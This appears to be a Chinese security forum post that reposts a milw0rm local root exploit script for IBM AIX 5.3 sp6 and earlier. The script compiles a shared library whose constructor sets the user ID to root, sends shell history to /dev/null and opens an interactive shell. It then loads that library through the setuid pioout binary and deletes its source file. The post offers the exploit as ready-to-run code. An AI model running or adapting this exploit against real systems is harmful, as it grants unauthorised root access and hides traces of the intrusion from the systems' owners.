IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit

pub!1c

魔

团队执行官

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 3926
精华: 128
积分: 209876
阅读权限: 200
性别: 男
在线时间: 1119 小时
注册时间: 2007-10-23
最后登录: 2009-1-4

资料收集奖运营支持奖

发短消息
加为好友
当前离线

楼主大中小发表于 2007-8-12 12:51 只看该作者

IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit

复制内容到剪贴板

代码:

#!/bin/sh

#

# 07/2007: public release

#

echo "-------------------------------"

echo " AIX pioout Local Root Exploit "

echo " By qaaz"

echo "-------------------------------"

cat >piolib.c <<_EOF_

#include <stdlib.h>

#include <unistd.h>

void init() __attribute__ ((constructor));

void init()

{

    seteuid(0);

    setuid(0);

    putenv("HISTFILE=/dev/null");

    execl("/bin/bash", "bash", "-i", (void *) 0);

    execl("/bin/sh", "sh", "-i", (void *) 0);

    perror("execl");

    exit(1);

}

_EOF_

gcc piolib.c -o piolib -shared -fPIC

[ -r piolib ] && /usr/lpd/pio/etc/pioout -R ./piolib

rm -f piolib.c piolib



# milw0rm.com [2007-07-27]

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit

IBM AIX &lt;= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit

IBM AIX &lt;= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit

代码:

IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit

IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit